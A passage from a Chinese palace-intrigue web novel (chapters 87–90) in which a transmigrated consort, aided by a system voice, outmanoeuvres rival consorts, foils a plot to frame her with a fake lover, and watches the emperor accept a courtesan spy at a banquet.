“你我姐妹,无需如此多礼,”她眼珠流转,嗔道,“陛下您看,这和我还生分着呢。” 贺云徽又恢复了淡漠地模样,一双眸子冷冷清清的。 听道姜婉清的话,也不过是笑了笑。 “姐姐,礼不可废。”姜舒月佯装不好意思,低下了头。 若雨扶着方静姝,穿过重重叠叠的妃子和宫人,站到了姜舒月身边。 “姐姐,”她额头上还冒出了细密的汗,“可叫我好找。” 姜舒月好笑地看着她,拿出帕子给她擦了擦额头的汗。 “我又不能丢了,看你,小心着凉。” 手挽上了姜舒月的,两人就这么靠在一起,说起了悄悄话。 陆陆续续地又有其他妃子过来。 原本还有些安静的花厅,也吵闹了起来。 最吵的,还是宁华公主,像只蝴蝶一样,满场飞。 身后跟了一群人,抓也抓不住。 “呀~”一路疯跑的宁华公主,终是撞到了人。 姜舒月被她撞的一个趔趄。 “姐姐!”方静姝眼疾手快地扶住她。 扶风也适时搭了把手,“您没事吧?” 宁华公主看到自己撞到人了,一时之间也有些怔住。 “奴才/奴婢该死,冲撞了姜嫔娘娘,请娘娘恕罪。” 几个服侍的宫人,心里都不约而地直呼倒霉。 撞到谁不好,偏偏是陛下最近的宠妃。 这下他们不死也要掉层皮了。 姜舒月冲扶风摇摇头,示意自己没事。 “无事,起来吧。” “公主可有伤到?” 她见宁华公主呆愣在那,半蹲了下来,与她视线齐平。 宁华公主看着眼前的女子,圆溜溜的眼睛瞪得老大,小嘴不由自主的微微张开。 “宁华。”突然贺云徽的声音响起,他早就已经注意到这里,只是看宁华公主迟迟没有道歉,便出声提醒。 兰昭容一瞬间心提了起来。 要是陛下没有说话,她也就当是一件小事处理了。 要是陛下掺一脚,自己怕是要惩罚一番宁华公主,让她长长记性。 “撞到了人,你该说什么?” 兰昭容松了口气,幸好…… 宁华回过神,朝着姜舒月露出一个不好意思的表情,双手还合在一起搓着,“对不起,姜娘娘。” 姜舒月被她可爱到了,伸手摸了摸她的头。 “我原谅你啦,”看着公主圆圆的脸蛋,喜欢捏人脸的手又要蠢蠢欲动了,“下次可要小心些。” 宁华公主得了姜舒月的准话,又转过去看了一眼贺云徽。 见他微笑着点了点头,遂又高兴地奔跑起来。 兰昭容这时也向她走过来,“姜妹妹,宁华顽皮,并非有意撞到你的。” 心里还是庆幸,撞到的是不尹宝林。 那宁华真是闯了大祸了。 殊不知姜舒月心里也有相同的想法。 【还好没遇到尹宝林,要不就惨了。】 “兰姐姐这是说得哪里话,公主年纪还小,活泼一些也是正常的。” 姜舒月看着眼前温温柔柔的兰昭容。 想着以她昭容之位,可以在宋滢的眼皮子底下生出一个孩子。 必然是有自己的本事在的。 兰昭容柔柔地笑着,颔首之后便使唤清姿,去姜宁华公主抱来。 虽然在原著的后面,所有和宋滢抢人的妃子,都没有了好下场。 也包括了眼前的兰昭容。 也不知道,原著里兰昭容死后,这位天之骄女,会落得什么下场。 【123,你能看到吗?】 123紧急翻阅,终于在一个角落里,发现了寥寥几笔带过的,宁华公主的一生。 【宁华公主,年十五,于和亲路上,病故。】 姜舒月瞳孔一缩。 原著到这里的剧情,已经和脱了缰的野马一样。 贺云徽在南巡遭遇刺杀后,落下严重的后遗症。 一直心心念念想要回拢的权利,则是因为宋滢在背后搞鬼,始终牢牢地被宋相掌握在手里。 终于在十二年后,缠绵病榻,带着遗憾,于紫宸殿驾崩。 皇位最后由宋滢的儿子:贺元修继承。 失了生母又失了父皇的保护,年仅十五岁的宁华公主,便被宋滢送往了漠北和亲。 宁华公主自小没有受过苦。 路上又被宋滢安插的人刻意虐待。 还没出云朝的地界,就在路上得了急症死了。 她眼神又看向了宁华公主。 眼里带着疼惜,【宋滢她真该死啊,本来她的人生,本该可以更加肆意的。】 123也有些怜爱起了小公主。 小公主不知从来得来一枝花,闹着要往兰昭容的发髻上簪。 兰昭容无奈,浅笑着低头,任由女儿将花插在发间。 看着母女玩闹,她嘴角也扬起一抹笑。 只是这笑,在贺云徽眼里有些刺目。 他顺着姜舒月的目光,见她果然在看宁华公主。 嘴上说着不在意,其实心里也是很想要有一个孩子的吧? 如果,尹宝林的孩子出生后,就抱给她养呢? 贺云徽被自己这想法吓了一跳。 不说姜舒月同不同意,可能连尹宝林自己,也会不同意吧。 她如今的性子,发起疯来,万一再伤到人…… 贺云徽很快就将这想法摒弃掉了。 无论如何,先吃两年药看看。 他还是希望,能和姜舒月,有属于自己的孩子。 最后一个到的,毫不意外是尹宝林。 她如今怀孕,住得也远,来晚一些情有可原。 只是这眼睛是否,有些太红了? “见过陛下,”她眼睛实在红得吓人,又一幅委屈样子,“您今日,还未曾来见妾身。妾身那院子里又热又闷,陛下……” 贺云徽眉头轻蹙,眼见她又要哭闹,“这等小事找福安便是。” 他目光扫过她隆起的小腹,语气到底软了三分,“既怕暑气,明日让底下的人多送两筐冰。” 她委屈地咬唇。 “那今日,陛下可否留下陪妾身?” 离得近的陈婕妤听得翻了个白眼。 她本就瞧不上尹宝林的做派,见她这副模样更是厌烦。 怀个孕而已,宫里又不是没妃子怀过。 搞得像是皇帝的第一个孩子般。 一甩袖子,带着婢女菘蓝,竟朝着姜舒月两人这边来了。 她身着一袭淡粉色宫装,绣着精致的桃花图案,头上的珠翠随着她的走动微微晃动。 “陈姐姐好安好。” 陈婕妤哼了一声,“都起来吧。” 姜舒月带着方静姝又默默朝旁边挪了挪。 “你和那尹宝林,都讨人厌。” 第87章 友谊的小船翻了 姜舒月正挪着呢,陈婕妤突然说了这么一句。 她和方静姝登时愣在那。 陈婕妤转过身来,上下打量一番,“哼,你倒是会招蜂引蝶,一会儿与陛下亲近,一会儿又引得尹宝林这般哭闹,搅得不得安宁。” 姜舒月心中一紧,想起之前在登船时,陈婕妤也好似这样,想要为难自己。 忙福身行礼,“陈姐姐误会了,嫔妾一心侍奉陛下,绝无半点旁的意思,还望娘娘明察。” “姜姐姐并非故意的,请婕妤娘娘明察。” 两个人一个娇媚,一个清丽。 比起姜婉清,方静姝更像是姜舒月的姐妹。 陈婕妤没说话,瞥了一眼还在男主身旁撒娇的尹宝林,不屑地撇撇嘴。 “她那点心思,本宫还能不知?整日里装柔弱,就会在皇上面前哭哭啼啼。” 姜舒月有些疑惑和方静姝对视,之前她俩还一致枪口对准自己来着,今天友谊的小船就沉了? 陈婕妤说完,又看向姜舒月,扬了扬下巴。 “不过你也别以为我是来帮你的,我谁都不喜欢,只是见不得她那副作态。” 她顿了顿,接着道:“你看着倒是比她顺眼些,也机灵。你且说说,你对她是何看法?” 姜舒月不知道陈婕妤是什么意思,只能斟酌着,轻声道:“尹宝林怀有身孕,情绪难免敏感些,才会如此。嫔妾觉得,大家同为皇上的妃嫔,应相互体谅才是。” 陈婕妤听闻,倒是又好好看了一眼姜舒月。 神色稍缓,轻哼一声道:“装模作样,不过,比起尹宝林那只会哭闹的,你倒是还算有点意思。” 尹宝林见贺云徽怎么也不肯松口,心里不禁有些泄气。 又回想起之前在花园中,见到二人亲密依偎的场景。 抬头一眼,姜舒月竟然不知道什么时候,跟陈婕妤相谈甚欢了起来。 她眼神里闪过一丝茫然, 陈婕妤不是,讨厌姜舒月吗? 怎么会跟她聊的这么开心? 连她也被这个贱人迷惑了吗? 豆蔻扶着她,缓步走到正与陈婕妤交谈的姜舒月身旁,脸上扯出一抹似笑非笑的神情。 微微屈膝行了个礼,语气看似恭敬却满含讥讽:“姜嫔姐姐今儿可真是容光焕发呢,想必是得了陛下特别的恩宠,才有这般好兴致与旁人谈笑风生。” 姜舒月知道尹宝林不喜她,但是不喜到这种不顾场合的程度,也是令她有些惊讶了。 本来不想惹事的,但是她非要来招惹自己。 心中冷笑,抬眸看向尹宝林,语气轻柔却暗藏锋芒:“尹宝林这话说得奇怪,我与姐妹正常交谈,何来因陛下青睐才有兴致一说?” 她眼睛扫过尹宝林的肚子。 那神态,与之前姜婉清看她时一模一样。 真不愧是姐妹俩,都一样的狗眼看人低! 只见她红唇轻启,缓缓说着:“倒是妹妹,身怀龙嗣,才是这宫中的大功臣,理应多加保重才是。” 陈婕妤饶有兴致地摸着下巴。 这两人第一次交锋的时候,是在船上。 那时尹宝林就完败,那么今天…… 来看看谁是最后赢家吧。 她在心里默默给姜舒月下了一个重注。 要是开个赌局,她全押姜舒月,必定能赢个盆满钵满。 尹宝林被姜舒月这话噎了一下,眼中闪过一丝恼意,却又强压下去。 继续皮笑肉不笑地说道:“姜嫔姐姐可真是会说话。” 眼角余光注意到,有好几个人都在看着这边。 尹宝林不知哪里来的信心,又大声说着:“只是妹妹愚钝,总觉得娘娘在陛下跟前,与对我们这些姐妹,可大不一样呢,想必是姜嫔姐姐对陛下的情谊格外深厚吧。” 泥人还有三分气性,姜舒月面色一冷,目光如炬地直视尹宝林,缓缓说道:“妹妹若真愚钝,便该多花心思养胎,而不是在这些无端猜测上浪费精力。” 陈婕妤嗤笑出声,看着尹宝林吃瘪,心中十分暗爽。 就连谨慎的方静姝,也不小心发出笑声。 惊得她图同兔子一般,捂住了嘴巴。 夜风略过花丛,卷起一阵花香。 尹宝林如今嗅觉敏感,闻了只觉胃里一阵翻涌。 “若是妹妹若实在闲得慌,不如多念念佛经,为腹中胎儿祈福,也省得生出些无端是非。” “噗嗤!” 周围妃嫔们听着二人一来一回,皆是屏气凝神,有的面露惊讶,有的则在一旁看好戏。 不知道谁没忍住,笑了出来。 这一笑仿佛是推倒了多米诺骨牌,一发不可收拾。 陈婕妤在心里给这场赌局,做了一个手势。 本次赢家:姜舒月。 眼见自己再一次落入下风,尹宝林心里越想越气,越气胃里越不舒服。 “呕——” 最终是忍不住,捂着嘴干呕起来。 在场的人,虽然没有怀过孕,但都见过。 生怕尹宝林被气出一个好歹,纷纷远离这是非中心。 “还愣着干什么?”姜舒月皱了皱眉,这尹宝林是个傻的,她的丫鬟也是傻的不成? “还不快去请太医?” 惊雷一般,豆蔻回神。 可是今日只有她自己陪着尹宝林,又害怕自己离去之后,尹宝林会出事。 一时之间踌躇不前。 姜舒月没办法,只好跟扶风说:“去,把福安公公请来。” 贺云徽一直注意着这里的情况。 他倒不怕尹宝林吃亏,这么多眼睛看着,谁也不能真叫她在自己眼皮子底下出事。 只是怕姜舒月一会给人气出个好歹,让别人拿了错处。 “去看看,怎么回事。” 语气里是不易察觉的厌烦。 福安心里真是叫苦不迭。 他真是怕了这位尹宝林娘娘了,怎么总是三天两头的闹出些事端? “公公,”扶风福了福身,“尹宝林娘娘吐得厉害,烦请您去请太医来看看。” “啊?”他一天有几个心脏都不够吓的,“咱家这就去,唉,这……这都叫些什么事啊?” 不多会,李太医匆忙赶来。 尹宝林已经被扶到一边的靠椅上歇着了,这会脸色苍白,看着很是吓人。 帕子盖在手腕上,把了把脉,松了口气。 “回禀皇上,尹宝林娘娘无碍,只是孕吐反应大了些,许是闻到什么刺激的气味,所以一时难受。” 姜舒月自是知道她不会有事。 试问谁见过要落胎的女子,除了吐之外,还有心情力气使劲瞪人的。 姜舒月也不惯着,翻了一个大大的白眼。 给尹宝林又气个够呛。 反正现在大家都知道自己跟她不对付,干嘛做出一幅关心的做派。 “尹宝林既身子不爽利,早些回去歇着也好。” 贺云徽摩挲着和田玉扳指,语气淡然。 尹宝林却非要留下,“陛下,妾身都来了,您就让妾身留在这吧。” 贺云徽定定的看了她一眼,“吩咐下去,给宝林的膳食,气味大的菜不要上了,上些清淡的。” 闻言尹宝林又开心起来,小意温柔的站在贺云徽身边。 姜婉清眼里闪过一丝嫌恶,小门小户出来的,就是上不得台面。 第88章 真会给我找事 “娘娘,”思雨看着自家娘娘的笑容,总觉得瘆得慌,“您还好吗?” 岳容华闻言敛起笑,“无事。” 花厅中的桌子,是一张巨大的八仙桌。 坐下贺云徽加上九位妃子,绰绰有余。 姜婉清坐在贺云徽的右手边,左侧第一个是兰昭容。 接下去是陈婕妤、岳容华,然后是姜舒月,最后是方静姝等。 尹宝林坐在离贺云徽最远的地方。 感觉像是隔了一整个银河一般。 虽然心里不高兴,但是她位份不高,只能如此。 这用餐氛围堪称两个字:尴尬。 姜舒月实在是受不了,中途找了一个借口便带着方静姝离开了。 贺云徽看她离去的身影,眉头皱了皱。 抬手招来福安,在耳边轻声吩咐一句。 姜婉清离得最近,听得分明。 贺云徽说:“姜嫔喜爱的,单独送一份去秋水居。” 她掩下眼里的神情,心中想的是:让姜舒月怀孕这事,迫在眉睫。 尹宝林没了讨厌的人在眼前,胃口也好了许多。 周围没有了人,姜舒月挺直的身板也放松了下来,挽着方静姝,走得歪歪扭扭。 方静姝还想着刚刚尹宝林的事情。 正欲开口,姜舒月便折了一朵蔷薇,插入她的发间。 方静姝伸手摸了摸那朵花,腼腆的笑了,“好看吗姐姐?” 姜舒月认真地看了看,“嗯!很是美丽。” 方静姝笑弯了眼睛。 “那尹宝林越来越不像话,”她沉吟片刻,“我总觉得要出事。” 这不是危言耸听。 尹宝林如今有孕不过刚四个月,已经得罪太多人了。 今天之事,更是告诉大家,她和尹宝林之间有龃龉。 如今姜舒月受宠,难保不会有人要借机大做文章。 【叮——发布支线任务:谁是奸夫?岳容华即将对宿主展开报复,请宿主应对。】 姜舒月懵了。 【奸、奸夫?!什么奸夫?谁的奸夫?我吗?】 行至池塘边,池中鲤鱼跃出水面,溅起的水花打湿了姜舒月的绣鞋。 【嗯……从任务来看,是宿主的。】123有些心虚,声音越来越小。 她危险地眯起眼睛。 【好好好,死岳容华真会给我找事。】 姜舒月将牙咬得咯吱响,方静姝疑惑,“嗯?神什么声音?” 她回神,尴尬笑了声,“哈,可能是老鼠吧。” 一听说可能是老鼠,方静姝一些不好的回忆涌上心头。 小心地靠近姜舒月。 皓月当空,月光照在微波粼粼的池面上,水里映着湿透的倒影。 把方静姝送回晴雪苑,回去的路上,姜舒月就一直在想岳容华陷害自己这事。 不说姜舒月现在正得宠,单从外貌来说,天底下就没有一个男人,可以和贺云徽相比的。 怎么有人会做这种买椟还珠的事情? 岳容华是怎么想到,要给自己安排一个奸夫,这种无稽的诡计? 她难道看着那么傻? 事实证明,不是姜舒月傻,是岳容华太想当然了。 【究竟是她太天真了,还是我看着太好收拾了?】 姜舒月以为她不会在遇见和王常在何御女,那般不过脑子的妃子了。 是她想少了。 这是世界还是蠢人多。 话又说回来,原著里,好像也只是把宋滢写的很聪明。 其他的妃子都是上赶子送人头,给她长经验用的。 这倒也很符合,为什么有的妃子,明明有更简单的方式,却偏偏选择这种吃力不讨好的方式。 思索着回秋水居时,她敏锐地听到身后有人,在跟着自己。 【123,我身后是谁?】 姜舒月身后惊出一身冷汗,脚步都快了起来。 扶风没听到脚步声,不明所以跟着加快。 怕对方察觉自己发现了她,随后她又慢来下来。 【宿主,是岳容华的丫鬟洛云。】 岳容华的丫鬟不去伺候她,跑来着跟踪自己干什么? 脑子一转,心里有了想法。 “扶风,”她悄悄扯了扯扶风的袖子,“把你的帕子给我。” 扶风听话地递了过去。 “一会看到什么都别说话,当没看到。” 扶风被她的话说的紧张了起来,抬头看着四周,好像周围的黑暗里面都藏了危机。 手指都用力掐住自己的大腿,生怕自己一会给娘娘托了后腿。 只见姜舒月拿起帕子,擦擦额上的汗之后,佯装是从自己身上掉出去的。 也不捡,就那么走掉了。 好像真的是,不小心丢了帕子。 走到抄手游廊转角处,两人齐齐跳到后面藏着。 接着夜色的遮掩,只看到一个身型高挑的女主,快步走过来,左右看了看四周。 确定无人之后,把地上掉落的手帕捡了起来。 等人走远,扶风才长舒了一口气。 “娘娘,这是谁啊,竟然偷偷跟着我们?” 扶风还有些惊魂未定。 姜舒月冷哼一声,“哼,总之是一些小人,这帕子,回头你需得在陛下面前演一出戏。” 她点点头,娘娘肯定是已经想到办法了。 自己只需要听从吩咐就行。 秋水居的廊檐下挂起了灯笼,今日是小路子在门口守着。 “娘娘。”他半跪下来行礼。 “把小方子叫来,所有人院中集合,我有事要说。” 她一脸严肃,小路子就知道有大事要发生了。 马上跑到偏房去喊小方子。 这会小方子已经准备要休憩了,闻言立刻套好了衣裳出去。 扶风则是去喊了明夏和静玉。 姜舒月见人到齐了,便让扶风把刚刚的事情说给他们。 “什么也没做,但是拿走了帕子?” 小路子呢喃着,不多时,几个人都想明白了。 惊得抬头看向姜舒月。 小方子还是胆子大,问了所有人都想问的问题。 “那人……是要陷害您失……” 最后一个字怎么也说不出口。 她点点头。 “所以这段时间,秋水居一定要看好了。” 姜舒月一想到岳容华用这么恶心的招,就恨不得抽她两个耳光。 “每日必须有一人留在秋水居盯着,日日都要搜查整个秋水居,多了什么少了什么,都要告知我。” 这是性命攸关的事情,一旦姜舒月被定了罪,她们这些伺候的人,有一个算一个。 都要死。 “是,奴婢/奴才省的。” 小路子重新站到了秋水居院门外。 不远处,贺云徽领着福安正往这走。 身后还跟着几个拿着食盒的小太监。 “奴才参见陛下。” “起吧,你们主子呢?”贺云徽抬脚往里走。 “回陛下,娘娘适才回了,正在沐浴。” 贺云徽听了挑了挑眉,长腿一迈,他进了内室。 珠帘响动,扶风看到了贺云徽的身影,想到之前姜舒月的嘱咐,自言自语地佯装在找东西。 声音不大,但足够他听见。 “奇怪了,我帕子哪去了?刚刚明明还用了的……”低头寻找的时候,贺云徽已经走到跟前。 “陛……” 刚要行礼,贺云徽摆手,示意她退下。 “扶风,快进来帮我,顺便拿寝衣进来。” 里面传出她娇软的声音。 贺云徽环视一周,看到了旁边屏风上挂着的寝衣。 华烛摇曳,暖香袅袅,氤氲的水汽弥漫于那浴房之中。 浴桶内,水波轻漾,热气蒸腾。 姜舒月此时正背对着门口,趴在浴桶里。 她如墨的青丝随意地挽起,几缕湿发顺着白皙的颈肩蜿蜒而下。 晶莹的水珠顺着那细腻如雪的肌肤缓缓滑落,没入水中,泛起一圈圈细微的涟漪。 贺云徽的脚步不自觉地放缓,目光牢牢锁在她身上。 似是察觉到身后的动静,只当是扶风入内,朱唇轻启,声音婉转动人。 第89章 双星楼 “好扶风,快帮我擦拭一下。” 那声音婉转轻柔,恰似黄莺出谷,在这静谧的浴殿中,无端撩拨人心。 微微侧过螓首,露出如玉侧脸,肤若凝脂,眉似远黛,美目微阖间,尽显慵懒风情。 贺云徽嘴角微扬,抬手拿起一旁的锦帕,在水中浸湿,而后缓缓探向她的香肩。 她靠着浴桶,热气蒸腾地有点犯困,嘟囔了一句。 姜舒月只觉得今晚之人动作稍显生疏,与平日里不同。 “扶风,今日你这动作,略显生疏了。” 扶风不说话,手一顿,又继续擦拭起来。 她心中顿觉不对,猛然一惊,伸手挡住了自己身前大部分的春光,顺势将身体沉入浴桶后回头。 “陛下?!”待看清是贺云徽的脸之后,她才松了一口气。 随后从脸颊浮起一抹红晕,如三月桃花初绽,更添几分动人风姿。 贺云徽轻咳一声,故意压沉嗓音道:“挡什么,你身上朕哪里没见过。” “怎么是您,”她往贺云徽身后看去,并没有看到扶风,“吓到嫔妾了。” 贺云徽不语,放下手中的帕子。 慢条斯理地一件件褪去身上的衣物。 深邃的眼眸紧紧锁住佳人,双手缓缓抬起,解开了束发的丝带。 如墨长发瞬间披散而下,透着几分不羁。 修长的手指熟练地解开领口的盘扣,锦袍顺势滑落,露出结实宽阔的肩膀。 肌理分明,线条流畅,在水汽的笼罩下,仿佛蒙着一层淡淡的光晕。 姜舒月目光不经意扫过,顿觉面红耳赤,忙慌乱地别过头去。 但是耳边一直萦绕着窸窸窣窣的声音。 让她忍不住悄悄侧目。 贺云徽把这一切看在眼里,噙着一抹促狭的笑。 故意放缓了动作,从容地褪去身上最后一件衣物。 精壮有力的胸膛露在空气中,腰腹处壁垒分明。 再配上这张脸,完美得无可挑剔。 等她回过神,贺云徽已经迈入了浴桶里。 水花轻溅。 姜舒月脸上的红晕愈发浓烈,低低地垂着头,不敢再多看一眼。 “陛下……”她被逼至角落,慌乱地轻唤了一声。 夏日蝉声嗡鸣,浴房内颠鸾倒凤,一室艳光。 小雨忽至,淅淅沥沥落在窗棂上,带走了夏日里的燥意。 姜舒月脸颊粉扑扑的,侧着在枕头上睡得香甜。 昨晚实在是太累了,她直接昏睡过去了。 再醒过来已经是巳时了。 睡多了,人醒的时候还有点懵。 “陛下什么时候走的?” 静玉看她醒了,连忙倒了杯温蜜水给她。 “陛下不到辰时就离开了。” 从浴房到外面,一晚上都不曾喝水,这会正渴得紧,连嗓子都有些沙哑。 一连喝了好几杯,才感觉好一些。 看她清醒一些,才服侍着更衣。 午后,雨慢慢停了下来,整座别苑都是虫鸣鸟叫声。 小径依旧潮湿,树梢还坠着几颗要滴不落的雨珠。 姜舒月在椅子上闲躺了一会。 又起身去案几边上,摊开宣纸。 “娘娘,可要研磨?”静玉立在一旁问道。 姜舒月点点头,“让小路子来一趟。” 岳容华只拿到了帕子,想要证明自己有奸夫,一张帕子可不够。 没有条件,她可以创造条件。 如今她的毛笔字已经算得上是规整了。 提笔写下了一首情诗。 春日游,杏花吹满头。 陌上谁家年少?足风流。 妾拟将身嫁与,一生休。 纵被无情弃,不能羞。 写完她捏起来端详一番,嗯~还算不错。 “娘娘,小路子来了。” 静玉福身,露出身后的小路子。 “娘娘,您有吩咐?” 姜舒月指了指案几上的宣纸,“照着这个,再写一张。” 小路子应是,没有多问挽起袖子抓起笔就写。 不一会便临摹好了一份。 姜舒月将小路子写好的那份交给静玉,“叠好了放在我的枕头底下。” “去跟扶风和小方子说,今晚就不用看着院子了,让她们找机会进来拿走。” 至于她自己写好的这份,当然是交给贺云徽啦。 当即交给了明夏,让她送去文韵阁。 姜舒月很少会让宫人来找自己,看到明夏的时候,贺云徽还有些不明所以。 “陛下,这是娘娘吩咐,让奴婢给您送来的书信。” 贺云徽额角一抽,想到了上次,她让福明送来的那几张。 那几张宣纸,如今还被他放在暗格里。 接过来一看,还好不是那等淫诗艳词,但也大胆奔放。 自己的任务完成,明夏也不多待,福身便拜别了贺云徽。 福安看着自家陛下,又是一阵皱眉一阵微笑的。 心想姜嫔娘娘还是一如既往的,牵动着陛下的心。 入夜,一辆辆的马车从别院驶出。 途径主道时,一阵风将帘子吹起。 姜舒月第一次看到了繁华夜晚的模样。 华灯初上,一盏盏灯笼被点亮,似繁星坠落人间。 越靠近酒楼的地方,越能听见轻歌曼舞、笙箫琴音传入马车里。 贺云徽率先下了马车。 王咏思十分看重这一次宴请,不仅将宴会场地选在了观星楼,更是将能抽调的兵力都抽调了过来。 朝观星楼里里外外围了一个水泄不通。 附近的百姓也被驱赶,避免冲撞了贵人们用膳。 观星楼是王咏思花了大心思的一件作品。 远远望去,楼阁飞檐斗拱,宛如展翅欲飞之鹏鸟,檐角悬有小巧玲珑之铜铃,微风拂过,便发出清脆悦耳之音。 楼前,两尊汉白玉石狮威风凛凛,双目炯炯。 沿阶而上,二层设有雕花栏杆,以汉白玉精心雕琢而成,栏上之花纹细腻繁复无一不精。 沿着木梯到二楼,墙上挂着几幅名家墨宝,笔锋苍劲有力。 中央鎏金香炉雕刻间点缀小花,熏香竟也与这满室墨香相得益彰。 三楼作为观星楼的顶层,视野最为开阔。 凭栏俯瞰,荔平郡风貌与双星节盛景一目了然。 在贺云徽身后一起上来的妃子们,也早已被这观星楼的独特装饰吸引。 “陛下,您请上座。”王咏思弓腰想请。 心里是止不住的得意。 贺云徽点点头,“爱卿有心了。” “能得陛下夸赞,微臣也算幸不辱命。”他言语极具讨好之意。 好在贺云徽今日心情好,没有太在意。 毕竟这治理得好,他身为皇上,自然也是会多多提拔。 等到所有人都入座之后,王咏思又站了起来,拍拍手。 有明白的官吏已经翘首以盼。 随着一阵悠扬的丝竹之音缓缓响起,衣着暴露的女子袅袅娜娜地步入厅堂。 上身薄纱缠绕,半遮玉肌,绣于纱上的繁花仿若风中轻颤;下身绸裙艳丽,开衩至大腿,走动间玉腿若隐若现。 站在最中间的女子大约就是小方子说的花魁了。 上身一件极薄的蝉翼罗制成抹胸,那蝉翼罗薄如烟雾,几近透明。 下身是一条拖地的茜色长裙,裙摆呈鱼尾状,由轻薄的云绸制成,上面绣满了栩栩如生的芍药。 身姿妙曼,眼眸含情,秋波流转间似能勾走人的魂魄。 碍于皇帝在场,在场的不少官吏都克制住自己的眼光,不想给皇帝留下一个好色的印象。 “奴家如霜,携翠云阁舞姬,参见皇上,吾皇万岁。” 声音更是一绝,饶是贺云徽不喜青楼女子,也被惊艳到了。 姜舒月活了两辈子,第一次见到活的花魁。 只有其他几位妃子,露出了鄙夷的神情。 “不过是下等贱民罢了。” 第90章 想要别的赏赐 不知道是谁,轻声地嘀咕了一下。 【宿主请注意,中间这名女子是端王派来的,想要监视男主的。】 姜舒月内心已经毫无波动,甚至还有点想笑。 【不是吧,这端王怎么到处安排人啊,他是有多想当皇帝?】 果然得不到的,永远在骚动。 这皇位,于端王就是那白月光朱砂痣。 【那这个人后来入了宫吗?】 贺云徽点点头,虽然众人活了这么久都未曾得见天颜,但是帝王威压却在。 没有他的首肯,谁都不敢先动。 “那便开始吧。” 【原著中如霜当晚就被封了贵人了。】 姜舒月顿了一下,贺云徽这么喜欢吗? 她抬头看了一眼对方,只觉得贺云徽眼里眸色深沉,看不出来什么。 《霓裳羽衣曲》袅袅响起,舞姬随着乐曲的节奏翩翩起舞。 衣袋翩跹,裾尾飘风,就连伸出来的纤纤玉手,也尽显魅惑之态。 一曲舞闭,有人大喊了一声:“好!” 紧接着便是其他人的掌声。 姜舒月也忍不住鼓起掌来,真古风就是好品! 贺云徽神色如常,只是敷衍地抬了抬手,算是对这场表演的回应,眼神依旧冷淡。 “赏吧。” 那如霜突然走了出来,跪在地上。 “皇上,如霜斗胆,想要一些别的赏赐。” 他看向匍匐在地的女子,明明那纤腰不盈一握,却无端令人厌烦。 “哦?说来听听。”沉冷低磁的声音不疾不徐地问道。 “如霜斗胆,恳请皇上收留。让如霜常侍陛下左右,为皇上添香研磨,侍奉起居。” 说着她微微仰头,烛光下,脸颊泛着红晕。 姜舒月惊讶地长大嘴巴,活久见,竟然还真让她亲眼见识到自荐的名场面了。 “撕拉——”不知道是谁的帕子被撕开了。 “大胆!陛下万金之躯,岂是你等能妄图近身?” 王咏思惊出一身冷汗,这如霜看着像是个知情识趣的,没想到竟然背刺自己。 万一让哪位娘娘误以为自己和她勾结,这枕边风一吹,他岂不是白费力气? 于是他连忙站出来,“皇上明鉴,微臣不知,她竟有如此心思,请皇上恕罪!” 贺云徽没有说话,姜婉清自然也不会主动开口,冷眼看着这一切。 兰昭容眼里浮现出一抹忧愁,若是陛下真的收了这等…… 那日后,难道要让她们姐妹相称吗? 岳容华和尹宝林自然是百万个不愿意,嘴上不说,但是眼里的怒火都快要化成实质,恨不得烧了如霜。 终于,岳容华没有忍住,尖声斥道:“哼,区区青楼女子,也妄图攀龙附凤,简直不知天高地厚!” 如霜被人接连羞辱,面色瞬间惨白如纸,娇躯颤抖。 眼神中满是惊恐与无助,“扑通”一声重重地跪在地上,连连磕头,额间瞬间红肿:“奴家不敢,求皇上怜惜奴家……” 一时间,观星楼内气氛陡然紧张。 所有人都在等贺云徽发话。 到此,贺云徽的眼眸终于有了一些波动。 良久,他忽然轻笑了声,“既然如此,福安,将如霜姑娘带下去,就安顿在——‘殊苑’。” 如霜闻言,眼里闪过一丝难以察觉的惊喜。 福安本来还想劝一番,听到殊苑,立刻就应声退下。 “恭喜姑娘贺喜姑娘,请随咱家来。” “多谢公公。” 其他人还想再劝,却看贺云徽一副不想多说的样子,都偃旗息鼓,安静地坐下,继续用膳。 只是这样一打岔,在场的妃子大多脸上都不太好看。 皇帝后宫佳丽三千是没错,但是她们也不想要个……青楼出身的姐妹啊。 方静姝本想眼神安慰一下姜舒月的,结果抬眼发现,对方吃得正欢。 好像……丝毫不在意皇上干了什么。 方静姝难得哽了一下,她的好姐姐啊,别再吃了,陛下都要被人勾走了! 尹宝林和岳容华此时也顾不上嫉恨姜舒月,纷纷向她投去了寻求认可的眼神。 和方静姝一样,看到了埋头苦吃的姜舒月。 吃吃吃!有什么好吃的,就知道吃! 这边两人气得心里发堵,那边贺云徽也一样。 当他发现姜舒月对于自己留下了一个青楼女子毫无反应之后,他就十分的不爽。 甚至还故意轻咳了好几次,然后姜舒月愣是没有看过自己。 她为何不看自己?不吃醋吗?还是她根本不在乎自己,所以毫无反应? 【宿主,男主一直在看你,你不给他一些回应吗?】 123看贺云徽黑成锅底的脸,实在没办法,提醒了一下姜舒月。 【给什么反应,原著里他也收下如霜姑娘了,我这会再跳出来反对,是不是有些太刻意了。】 荔平郡的菜系和江宁县完全不同。 是类似老广那边的味道,姜舒月简直爱死了这里的每一道菜,吃都来不及。 更加没空去关心贺云徽了,也阻拦不了。 结果就是,姜舒月自己吃撑了,贺云徽也气饱了,全程都黑着脸。 就连一向喜欢贴上贺云徽的尹宝林,也不敢再这个时候靠近他。 回到别苑,姜舒月还又带着静玉,在花园中走了好几圈消食。 等回到秋水居,小方子和扶风立刻来报。 “娘娘,您真厉害,”扶风又睁着亮晶晶的眼睛看她,“酉时半刻的时候,真的有人偷偷进来过。” 小方子在一边附和着,“那人只待了半盏茶的时间,便匆匆离开了。扶风姐姐进去一查,果然那封信不见了。” 她点点头,“你们做的很好,今晚再仔细着些,别让其他人再钻了空子。” 几个丫鬟太监重重点头。 姜舒月也困倦了,沐浴之后便躺了下来。 夜晚,周围安静的出奇,连窗外树叶响动的声音都能听见。 如霜跟着福安,“敢问公公,这是去哪里?” 福安走在前头,闻言皮笑肉不笑的说了句:“陛下嘱咐,让咱家给姑娘寻个好住处。” 从她进入翠云阁以来,所接触的男子,没有成千也有上百。 从不认为有人会拒绝得了自己的魅力。 所以当贺云徽说出要留下自己的时候,她理所当然的认为,这个高高在上的皇帝,也被自己的美色所迷惑。 如霜听了,心里更是得意。 她就说,除了没根的太监,没有男人可以逃得过她的诱惑。 果然这次任务,比她想象的更加容易。 跟着福安七拐八拐地,终于到了一处院落。 “姑娘请。”福安推开雕花木门,檀香味扑面而来。 刚迈过门槛,突然天旋地转。 